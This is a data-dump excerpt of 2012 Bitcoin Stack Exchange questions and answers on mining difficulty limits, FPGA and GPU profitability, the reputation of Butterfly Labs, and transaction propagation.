  <row Id="4035" PostTypeId="2" ParentId="3229" CreationDate="2012-06-22T23:31:22.817" Score="2" Body="&lt;p&gt;I just found a new provider that accept bitcoins, &lt;a href=&quot;http://www.bitronictech.net/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitronictech.net/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They accept bitcoin for domain registration and all of their other services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have an article about their Bitcoin Gateway here: &lt;a href=&quot;http://www.bitronictech.net/announcements/25/Buy-Domain-Names-with-Bitcoins.html&quot; rel=&quot;nofollow&quot;&gt;http://www.bitronictech.net/announcements/25/Buy-Domain-Names-with-Bitcoins.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditDate="2012-06-23T01:16:55.687" LastActivityDate="2012-06-23T01:16:55.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4036" PostTypeId="1" AcceptedAnswerId="4038" CreationDate="2012-06-22T23:49:54.983" Score="10" ViewCount="2004" Body="&lt;p&gt;I seem to recall, long ago, being told that difficulty couldn't change more than a certain amount at each retarget, but I can't seem to find what that factor is (or even confirmation that such a factor exists) no matter how hard I google. Does such a factor exist and if so what is its value?&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="5406" LastEditDate="2016-03-07T10:45:20.687" LastActivityDate="2016-03-07T10:45:20.687" Title="Is there a maximum factor by which difficulty can change?" Tags="|protocol|difficulty|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4037" PostTypeId="2" ParentId="4036" CreationDate="2012-06-22T23:51:53.167" Score="8" Body="&lt;p&gt;Well doesn't that figure, the moment I ask the question my google-fu kicks in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Target&quot;&gt;This wiki article&lt;/a&gt; states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A single retarget never changes the target by more than a factor of 4&#xA;  either way to prevent large changes in difficulty.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-06-22T23:51:53.167" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4038" PostTypeId="2" ParentId="4036" CreationDate="2012-06-23T01:25:31.647" Score="11" Body="&lt;p&gt;The difficulty never changes by more than a factor of 4 (except for in a special case that only applies on testnet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code that enforces this is &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/d62a1947be5350ed60066ccacc7aba43bbdf48fb/src/main.cpp#L875&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-06-23T01:25:31.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4039" PostTypeId="1" CreationDate="2012-06-23T01:53:13.980" Score="5" ViewCount="1916" Body="&lt;p&gt;The &quot;double geometric&quot; payout method as used on the Ozco.in pool is supposed to be fair and prevent pool hopping, but is this method fair to miners that only mine for a few hours per day, as opposed to miners that mine 24/7?&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="5406" LastEditDate="2016-02-03T10:43:50.190" LastActivityDate="2016-02-03T10:43:50.190" Title="Is the &quot;double geometric&quot; payout method for pooled mining fair to part time miners?" Tags="|mining-pools|pool-payout-methods|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4040" PostTypeId="1" AcceptedAnswerId="4045" CreationDate="2012-06-23T06:52:35.823" Score="4" ViewCount="6917" Body="&lt;p&gt;Actually is there a list of hardware we could use and their bitcoins/hardware price ratio so I can compute return of investment?&lt;/p&gt;&#xA;" OwnerUserId="1498" LastEditorUserId="5406" LastEditDate="2016-02-03T10:44:24.690" LastActivityDate="2017-03-28T00:44:58.413" Title="Is FPGA more cost effective than GPU?" Tags="|mining-profitability|mining-hardware|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4041" PostTypeId="1" AcceptedAnswerId="4044" CreationDate="2012-06-23T06:58:07.350" Score="2" ViewCount="2204" Body="&lt;p&gt;I am looking at this. Dual FPGA X6500 Mining Card Rev 3 (Without Heatsinks)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we connect the card via USB and the card will mine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I buy one FPGA or several ones? Where do I attach the FPGA? PCI? USB?&lt;/p&gt;&#xA;" OwnerUserId="1498" LastEditorUserId="5406" LastEditDate="2016-02-03T10:45:33.607" LastActivityDate="2016-02-03T10:45:33.607" Title="How many FPGA can be attached to one computer?" Tags="|fpga|mining-setup|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4042" PostTypeId="2" ParentId="4040" CreationDate="2012-06-23T08:43:00.297" Score="2" Body="&lt;p&gt;Here is a very detailed list of known mining hardware and it's mining-specific specifications:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Mining_hardware_comparison&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2012-06-23T08:43:00.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4043" PostTypeId="1" AcceptedAnswerId="4046" CreationDate="2012-06-23T12:33:39.643" Score="2" ViewCount="222" Body="&lt;p&gt;Suppose a year from now most of the hashrate is being produced by ASICs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is not feature-complete yet. Out of the changes in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Hardfork_Wishlist&quot; rel=&quot;nofollow&quot;&gt;hardfork wishlist&lt;/a&gt;, would any of these changes be hard/impossible to implement on ASICs that have been sold already?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make such breaking changes, it most likely that a majority of the mining power will be needed. If ASICs become the majority, and they can't adjust to these changes, do we have a problem?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I say &quot;most likely we need a majority&quot; because maybe breaking changes could be done without a majority of hash power, but rather a near-majority, accompanied by strong user support. But it would certainly make life more complicated.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-06-23T17:30:22.340" Title="Are there proposed hardfork changes that couldn't be made if the market was filled with ASIC miners?" Tags="|blockchain|protocol|future-proof|blockchain-fork|asic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4044" PostTypeId="2" ParentId="4041" CreationDate="2012-06-23T12:49:11.953" Score="3" Body="&lt;p&gt;From what I know, you can connect basically any amount of FPGA cards to one computer through USB hubs. Case in point:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4v1wy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-23T12:49:11.953" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4045" PostTypeId="2" ParentId="4040" CreationDate="2012-06-23T12:59:08.307" Score="1" Body="&lt;p&gt;FPGAs in general cost more initially per given computational speed, but use less power per MHash/s. Currently, the good GPUs have a faster return of investment time, but they are highly dependant on difficulty and Bitcoin price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more specific, find your desired hardware in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;&quot;Mining Hardware Comparison&quot;&lt;/a&gt; wiki page, and then do some calculations (you can for example use &lt;a href=&quot;http://tpbitcalc.appspot.com&quot; rel=&quot;nofollow&quot;&gt;my mining calculator&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-23T12:59:08.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4046" PostTypeId="2" ParentId="4043" CreationDate="2012-06-23T13:11:28.433" Score="2" Body="&lt;p&gt;As long as no changes are done to the structure of the block header, the ASICs should work just fine. There are some proposed changes that could alter it, like protecting the block chain against pre-mining, or adding a new field to the block header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, when the ASIC miners become the majority it will be hard to push those changes unless Bitcoin faces some serious issue that forces the change (for example, an attempt at a 51% attack).&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="659" LastEditDate="2012-06-23T17:30:22.340" LastActivityDate="2012-06-23T17:30:22.340" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4047" PostTypeId="1" AcceptedAnswerId="4048" CreationDate="2012-06-23T15:09:37.660" Score="-2" ViewCount="32616" Body="&lt;p&gt;Just curious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My plan is to buy 5 of these&#xA;So I should use this card right?&#xA;&lt;a href=&quot;http://www.amd.com/us/products/notebook/graphics/ati-mobility-hd-5800/Pages/hd-5830-specs.aspx&quot; rel=&quot;nofollow&quot;&gt;http://www.amd.com/us/products/notebook/graphics/ati-mobility-hd-5800/Pages/hd-5830-specs.aspx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install them all in one computer. See if I can make $100 per month and get return of investment in 6 months.&lt;/p&gt;&#xA;" OwnerUserId="1498" LastEditorUserId="5406" LastEditDate="2016-01-20T21:00:37.040" LastActivityDate="2016-01-20T21:00:37.040" Title="What's the current $/Mhash" Tags="|mining-profitability|mining-hardware|" AnswerCount="2" CommentCount="2" ClosedDate="2012-07-01T10:04:37.653" ContentLicense="CC BY-SA 3.0" />
  <row Id="4048" PostTypeId="2" ParentId="4047" CreationDate="2012-06-23T20:56:39.347" Score="8" Body="&lt;p&gt;$/Mhash - that's a new one.  Well, the metric used elsewhere is Mhash/$ which answers the question how much hashing a dollar's worth of a piece of equipment will produce.  So if you really wanted $/Mhash (for referencing cost of certain equipment) then you could invert any Mhash/$ and get $/Mhash.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, perhaps you are asking how many dollars are earned for doing the work of a million hashes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, here's how:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) Determine the difficulty:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.com/q/getdifficulty&quot;&gt;http://blockexplorer.com/q/getdifficulty&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Currently: 1,726,566&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) Compute total hashes per second:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;D * 2**32 / 600&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;1,726,566 * 2^32 / 600 seconds = 12.4 Terahashes occurring per second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 1,000 Ghash per Terahash, and there are 1,000 Mhash per Ghash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so there are 12,400,000 Mhashes occurring per second.&#xA;(i.e., if all mining were done with AT HD 5830s, there would be about 45,000 of them hashing away.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.) Determine the value of bitcoins issued per second (using current exchange rate):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;BTC/USD * 50 BTC / 600 seconds = BTC/USD per second.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Currently: $6.45 X 50 BTC per block / 600 seconds = value of $0.5375 USDs per second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4.) Determine value per Mhash&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$0.5375 / 12,400,000 = $0.000000043 $/Mhash&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's a pretty small number.  But that's the revenue $/Mhash at the current difficulty and exchange rate.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So your 5830 does in the range of 275 Mhash/s, so it generates (gross revenue):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;275 Mhash/s * $0.000000043 $/Mhash = $0.000011825 USD per second.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Per day then:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compute number of seconds per day:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;60 seconds/minute * 60 minutes/hour * 24 hours/day = 86,400 seconds per day.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;86,400 * $0.000011825 = $1.02168 USD per day (or about 0.1584 BTC).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So each 5830 will see gross revenue (at current difficulty, exchange rate and block reward) of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$1.02168 USD/Day * 365 Days/Year = $372 / Year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well ... not quite.   We know that around the beginning of December the block reward drops in half.  So that $372 in gross revenue now becomes about $273.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, you need to subtract your cost of electricity.  And since you don't know the future difficulty level or future exchange rate either, it cannot be known how long it will be before you break even.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But let's say you have a beefy power supply, mobo that can accommodate 5 PCI-e, and each 5830 drawing 175 Watts, plus fans say you consume a thousand watts.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1,000 watts * 24 hours/day / 1000 Watts/kW = 24 kWh/day&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So per-day, if you pay $0.15 (national average, residential power), your electricity costs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;24 kWh/day * $0.15/kWh = $3.60 per day (for a rig with five 5830s)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The gross revenue for each 5830 is $1.02 per day X 5 = $5.10, leaving gross profit of $1.50 per day for all five together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then beginning in December, you cannot mine profitably.  Your cost of electricity remains the same, but the per-block drop means your gross revenue drops by half, to $.51 per day per 5830, or $2.55 for all five 5830s.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you would be paying $3.60 in electricity to earn $2.55 in bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only GPU mining operators left standing will be those whose electricity rate is significantly below average or those whose electricity is included in the rent that would be paid regardless.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-06-30T20:22:44.627" LastActivityDate="2012-06-30T20:22:44.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4049" PostTypeId="2" ParentId="4047" CreationDate="2012-06-23T21:29:36.777" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoinx.com/charts/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoinx.com charts&lt;/a&gt; gives a series of live graphs (various time scales) showing the US$/24hours@100MHash/s. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/klJPX.png&quot; alt=&quot;US$/24hours@100MHash/s&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2012-06-23T21:29:36.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4050" PostTypeId="1" CreationDate="2012-06-24T03:25:47.970" Score="4" ViewCount="243" Body="&lt;p&gt;I've noticed that sometimes, when I send Bitcoins from one client to another, the recipient client might not see the transaction, sometimes until it already has one or more confirmations. Both clients are connected to 30-40 nodes.&lt;/p&gt;&#xA;" OwnerUserId="1513" LastActivityDate="2012-06-24T18:34:26.487" Title="What might cause the Bitcoin client to take a long time to see a new, unconfirmed transaction?" Tags="|transactions|network|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4051" PostTypeId="2" ParentId="300" CreationDate="2012-06-24T03:34:17.400" Score="-1" Body="&lt;p&gt;Turning your client off gives it a chance to fall behind the network. The client is so bad at downloading the block chain from other clients, that if you fall more than few days behind, you'll have to download a copy of the block chain from the nightly archive in order to catch up.&lt;/p&gt;&#xA;" OwnerUserId="1513" LastActivityDate="2012-06-24T03:34:17.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4052" PostTypeId="1" CreationDate="2012-06-24T05:37:22.513" Score="27" ViewCount="30717" Body="&lt;p&gt;I'm somewhat new to the mining scene but I'm a bit familiar with everything. I see that GPU mining will become much less cost effective over the next year or so, especially around December when the block reward size drops to 25 BTC. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an entry level miner, I don't have a decent rig to just use a pool with or anything. I'm stuck with a quad core AMD mobile CPU in an HP laptop with the worst ATI card known to mankind, giving me about 7.5 Mh/s using rpcminer-4way. Based on what I've seen, the claims that Butterfly Labs is making are pretty substantial and if they're true, they could greatly change the playing field. At a price as low as $150 for 3 Gh/s, I would be willing to invest, since I don't have the money right now to build a GPU mining machine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen many people preorder the SC Jalepeno model and I'd just like some additional info and background on the company and their products before shelling out $150-$300. And are there any comparable low-cost FPGA or ASIC USB devices with a decent Mh/s/$?&lt;/p&gt;&#xA;" OwnerUserId="1514" LastEditorUserId="5406" LastEditDate="2016-02-03T10:46:53.953" LastActivityDate="2016-02-03T10:46:53.953" Title="Is Butterfly Labs reputable / Should I preorder the SC Jalepeno?" Tags="|asic|mining-hardware|fpga|butterfly-labs|" AnswerCount="5" CommentCount="4" ClosedDate="2016-02-03T10:47:47.660" ContentLicense="CC BY-SA 3.0" />
  <row Id="4053" PostTypeId="1" AcceptedAnswerId="4077" CreationDate="2012-06-24T06:38:41.817" Score="5" ViewCount="1431" Body="&lt;p&gt;Sometimes it takes bitcoind more than a minute to respond to basic RPC calls such as getbalance (and on average, it takes at least 5 seconds), even though the &quot;STAT&quot; according to the Linux 'ps' program remains &quot;&lt;code&gt;SLl&lt;/code&gt;&quot; (Sleeping!). I've confirmed I was looking at the RPC server process and not the client process. How is this even reasonable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It shouldn't be possible to run large-scale sites like Mt. Gox with those kind of response times. What special considerations need to be taken into account to get performance out of bitcoind? &lt;/p&gt;&#xA;" OwnerUserId="1513" LastEditorUserId="1513" LastEditDate="2012-06-26T21:47:01.890" LastActivityDate="2012-06-26T21:47:01.890" Title="Why is bitcoind so slow on VPSs?" Tags="|bitcoind|json-rpc|performance|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4054" PostTypeId="2" ParentId="4052" CreationDate="2012-06-24T11:43:02.690" Score="25" Body="&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My original answer may have made sense back when the question was asked, but now it is clear that Butterfly Labs cannot be trusted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As they say, &quot;fool me once, shame on you; fool me twice, shame on me&quot;. After all the delays and controversies with their FPGA line, they have given their word that with the experience gained they really will be able to deliver their ASIC line on October 2012. 10 months later (and 20-fold difficulty increase later), even the first pre-orderers didn't get their orders in full. This didn't stop them from announcing a new line, with pre-orders and the same empty promises. Which, if they deliver, will be better performing than their first ASIC line, without any compensation to their loyal customers who have waited more than a year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact that their CEO &lt;a href=&quot;https://bitcointalk.org/index.php?topic=110805.0&quot; rel=&quot;nofollow&quot;&gt;was shown to be a convicted felon&lt;/a&gt; doesn't help.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2014-03-21T14:05:19.090" LastActivityDate="2014-03-21T14:05:19.090" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="4055" PostTypeId="2" ParentId="4050" CreationDate="2012-06-24T11:51:19.183" Score="3" Body="&lt;p&gt;Is one of the clients disconnected when you send payment with the other? This often happens to me when I send a transaction to the other OS on a dual-boot system, meaning the receiving client is down when the transaction is broadcast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing this happens because all nodes the client connects to when he comes online have already broadcast the transaction, so they won't send it again to him. He'll only get it as part of a block when it is found.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-06-24T11:51:19.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4056" PostTypeId="2" ParentId="4050" CreationDate="2012-06-24T18:34:26.487" Score="1" Body="&lt;p&gt;If the transaction is &quot;spam-like&quot; other nodes won't relay it.  This is to help protect the Bitcoin network from too many low priority transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was the transaction for a tiny amount? (e.g., under 0.01 BTC?) and no fee paid?  If so, that's kind of &quot;spam-like&quot;.  I don't know the exact algorithm, but both of those are factors.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-06-24T18:34:26.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4057" PostTypeId="2" ParentId="3747" CreationDate="2012-06-24T19:22:13.730" Score="3" Body="&lt;p&gt;Bob Murphy spoke about Bitcoin in his Reddit Ask Me Anything video &lt;a href=&quot;http://www.youtube.com/watch?v=wyUNdzLwte4&amp;amp;feature=youtube_gdata_player&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=wyUNdzLwte4&amp;amp;feature=youtube_gdata_player&lt;/a&gt; &#xA;He commented in relation to regression theorem. Many Austrian economists believe that Bitcoin violates Mises' regression theory, as if Von Mises  was supposed to predict computationally ensured persistent logical objects...&lt;/p&gt;&#xA;" OwnerUserId="1517" LastActivityDate="2012-06-24T19:22:13.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4059" PostTypeId="1" AcceptedAnswerId="4076" CreationDate="2012-06-25T06:52:21.963" Score="7" ViewCount="2566" Body="&lt;p&gt;I just &lt;a href=&quot;http://timekoin.org/&quot;&gt;found this&lt;/a&gt; (on &lt;a href=&quot;https://bitcointalk.org/index.php?topic=88467.0;all&quot;&gt;BitcoinTalk&lt;/a&gt;). TimeKoin seems to be an attempt at a cryptocurrency. There is a &lt;a href=&quot;http://timekoin.org/images/documents/timekoin.pdf&quot;&gt;whitepaper&lt;/a&gt; and an &lt;a href=&quot;http://timekoin.org/index.php?option=com_content&amp;amp;view=article&amp;amp;id=53&amp;amp;Itemid=56&quot;&gt;about page&lt;/a&gt;, and I've skimmed through them, but I haven't been able to answer these simple questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What problem is it trying to solve (that Bitcoin doesn't already solve)?&lt;/li&gt;&#xA;&lt;li&gt;How does it work? What is the difference/similarity in implementation from Bitcoin?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-10-20T14:16:25.420" Title="What is TimeKoin?" Tags="|alternatives|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4060" PostTypeId="1" CreationDate="2012-06-25T07:00:57.197" Score="5" ViewCount="1112" Body="&lt;p&gt;Speaking with a large group about Bitcoins lately, I noticed that most people there came to like Bitcoins for different reasons. The shady ppl wanted drugs, the accountants wanted to avoid taxes, the Ron Paul people wanted more personal liberty and to end the Fed, The traders wanted new Forex opportunities, and the computer techies were in love with the elegance of the system...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm really starting to wonder here, What are the demographics of the Bitcoin users? Has anyone attempted to do a serious attempt at finding those? Perhaps even a big website poll?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inquiring minds want to know.&lt;/p&gt;&#xA;" OwnerUserId="1519" LastEditorUserId="5406" LastEditDate="2014-05-02T17:43:38.843" LastActivityDate="2014-05-02T17:43:38.843" Title="Demographics on Bitcoin users?" Tags="|user-base|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4061" PostTypeId="2" ParentId="4060" CreationDate="2012-06-25T10:48:04.123" Score="2" Body="&lt;p&gt;I can't think of any known data about real demographics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But here are some things you can consider to get an idea:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoincharts.com/charts/volumepie/&quot; rel=&quot;nofollow&quot;&gt;BitcoinCharts' currency distribution&lt;/a&gt;: Gives you a view on what currencies are traded the most, most currencies are country- or region-specific so this can be a measure.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockchain.info/unconfirmed-transactions?format=webgl&quot; rel=&quot;nofollow&quot;&gt;BlockChain.info's real-time transaction mapping&lt;/a&gt;: You can literally see every new transmitted transaction appear on the map. (This is possible because all transactions are public and have an IP bound to them. But note that some users might use Bitcoin with tools like &lt;a href=&quot;http://www.torproject.org&quot; rel=&quot;nofollow&quot;&gt;Tor&lt;/a&gt; so their location can be wrong.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="659" LastEditDate="2012-06-26T05:42:56.947" LastActivityDate="2012-06-26T05:42:56.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4062" PostTypeId="2" ParentId="3127" CreationDate="2012-06-25T10:57:46.780" Score="3" Body="&lt;p&gt;There are several ASIC devices reportedly under development:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=76351.0&quot; rel=&quot;nofollow&quot;&gt;OpenBitASIC&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Butterfly Labs &lt;a href=&quot;http://www.butterflylabs.com/bitforce-sc-release-notes/&quot; rel=&quot;nofollow&quot;&gt;BitForce SC&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://largecoin.com/&quot; rel=&quot;nofollow&quot;&gt;LargeCoin&lt;/a&gt; which you mentioned.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=75298.0&quot; rel=&quot;nofollow&quot;&gt;Vladimir's company&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-06-25T10:57:46.780" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4063" PostTypeId="2" ParentId="3747" CreationDate="2012-06-25T11:03:31.543" Score="0" Body="&lt;p&gt;Russ Roberts interviews Gavin:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.econtalk.org/archives/2011/04/andresen_on_bit.html&quot; rel=&quot;nofollow&quot;&gt;http://www.econtalk.org/archives/2011/04/andresen_on_bit.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-06-25T11:03:31.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4064" PostTypeId="2" ParentId="4060" CreationDate="2012-06-25T11:06:06.577" Score="1" Body="&lt;p&gt;A recent survey solicited to BitcoinTalk forum members: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=88927.0&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=88927.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-06-25T11:06:06.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4065" PostTypeId="2" ParentId="4060" CreationDate="2012-06-25T11:07:24.723" Score="0" Body="&lt;p&gt;There was a Bitcoin survey recently: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=88927.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=88927.0&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-06-25T11:07:24.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4066" PostTypeId="1" AcceptedAnswerId="4068" CreationDate="2012-06-25T14:24:55.153" Score="7" ViewCount="950" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;BitCoin Wiki&lt;/a&gt; states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Different bitcoin clients and different versions have different rules for determining which transactions to accept and how large a fee to send..&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is it true that different clients can attach different transaction fees which differ from the other clients?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, is there anyway to send 1 mBTC without having to pay the fee of 0.5 mBTC?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are the rules of the transaction fees enforced by the protocol?&lt;/p&gt;&#xA;" OwnerUserId="1475" LastEditorUserId="516" LastEditDate="2012-07-12T01:30:55.357" LastActivityDate="2012-07-12T01:30:55.357" Title="Can different clients have different transaction fees?" Tags="|transactions|client|protocol|" AnswerCount="2" CommentCount="0" 